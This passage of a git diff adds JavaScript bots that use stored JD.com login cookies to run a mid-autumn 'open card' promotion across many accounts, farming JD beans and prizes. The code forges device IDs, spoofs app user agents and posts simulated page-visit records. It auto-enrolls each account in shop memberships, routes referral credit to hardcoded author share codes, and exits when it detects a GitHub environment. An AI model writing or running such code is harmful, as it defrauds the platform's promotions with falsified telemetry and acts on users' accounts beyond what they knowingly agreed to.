`body=%7B%22url%22%3A%20%22https%3A//lzkj-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=hjudwgohxzVu96krv&client=apple&clientVersion=9.4.0&st=1620476162000&sv=111&sign=f9d1b7e3b943b6a136d54fe4f892af05` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_mid2.js b/backUp/jd_mid2.js new file mode 100644 index 0000000..17e85e0 --- /dev/null +++ b/backUp/jd_mid2.js @@ -0,0 +1,552 @@ +/* +“礼”遇中秋 家团圆 + +https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/6531736?activityId=dsfsgffg78dgfd8gfdfe9re8rt8r9ew9 +*/ +const $ = new Env("“礼”遇中秋 家团圆"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + authorCodeList = [ + 'd8a5996671a64399add1cebb30e5b8f0','963d3a3d601f4b50b07ee2c5218720ca' + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'dsfsgffg78dgfd8gfdfe9re8rt8r9ew9' + $.activityShopId = '1000004065' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + await marry(); + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function marry() { + $.log('那就开始吧。') + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log("去助力 -> "+$.authorCode) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + if ($.index === 1) { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`, 0, 1) + } else { + await task('dz/openCard/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + } + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + $.log("->关注店铺") + if ($.shopTask) { + if (!$.shopTask.allStatus) { + await task('dz/openCard/followShop', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${encodeURIComponent($.actorUuid)}&taskType=23&taskValue=1000002520`) + } else { + $.log(" >>>已经关注过了\n") + return + } + } else { + $.log("没有获取到对应的任务。\n") + } + $.log("->->->> 加入店铺会员") + if ($.openCardStatus) { + for (let i = 0; i < ($.openCardStatus.cardList1.length + $.openCardStatus.cardList2.length); i++) { + $.log("模拟上报访问记录") + await task('crm/pageVisit/insertCrmPageVisit', `venderId=1000002520&pageId=5bfaabad59434bb5bed7552615d0a4e9&elementId=${encodeURIComponent(`去开卡${i}`)}&pin=${encodeURIComponent($.secretPin)}`, 1) + await $.wait(2000) + } + t1TaskList = [] + $.openCardStatus.cardList1.filter((x) => { if (x.status === 0) { t1TaskList.push(x) } }) + t2TaskList = [] + $.openCardStatus.cardList2.filter((x) => { if (x.status === 0) { t2TaskList.push(x) } }) + if (t1TaskList.length < 1) { + console.log(" >>>已经完成入会任务") + + } else { + for (const vo of t1TaskList) { + $.log(` >>>去加入${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }, vo.value) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + for (const vo of t2TaskList) { + $.log(` >>>${vo.name}`) + await getShopOpenCardInfo({ "venderId": `${vo.value}`, "channel": "401" }) + await bindWithVender({ "venderId": `${vo.value}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value) + await $.wait(2000) + } + } + + await task("taskact/openCardcommon/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task('dz/openCard/checkOpenCard', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=1&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(2000) + await task("dz/openCard/startDraw", `activityId=${$.activityId}&actorUuid=${$.actorUuid}&type=2&pin=${encodeURIComponent($.secretPin)}`) + + } else { + $.log("没有获取到对应的任务。\n") + } + + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'wxActionCommon/getUserInfo': + break; + case 'dz/openCard/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + $.skuTask = data.data.addSku; + $.shopTask = data.data.followShop; + } else { + $.log("活动已经结束"); + } + break; + case 'dz/openCard/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'dz/openCard/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + case 'dz/openCard/startDraw': + if (data.data.drawOk) { + switch (data.data.drawInfo.type) { + case 6: + $.bean += data.data.drawInfo.beanNum; + $.log(`==>获得【${data.data.drawInfo.beanNum}】京豆\n`) + break; + default: + if ($.isNode()) { + await notify.sendNotify("中奖了", `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } else { + $.msg("中奖了", `获得${data.data.drawInfo.name}`, `中奖信息:${JSON.stringify(data.data.drawInfo)}\n活动链接:${$.activityUrl}`) + } + break; + } + } + break; + case 'crm/pageVisit/insertCrmPageVisit': + $.log("==> 上报成功") + + case 'dz/openCard/followShop': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`==>获得【${data.data.addBeanNum}】京豆\n`) + } + } + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function getShopOpenCardInfo(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=801&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.interestsRuleList) { + $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function bindWithVender(body, venderId) { + let opt = { + url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, + headers: { + Host: 'api.m.jd.com', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Accept-Language': 'zh-cn', + Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=401&returnUrl=${encodeURIComponent($.activityUrl)}`, + 'Accept-Encoding': 'gzip, deflate, br' + } + } + return new Promise(resolve => { + $.get(opt, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + res = JSON.parse(data) + if (res.success) { + if (res.result.giftInfo && res.result.giftInfo.giftList) { + for (const vo of res.result.giftInfo.giftList) { + if (vo.prizeType === 4) { + $.log(`==>获得【${vo.quantity}】京豆`) + $.bean += vo.quantity + } + } + } + } + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new 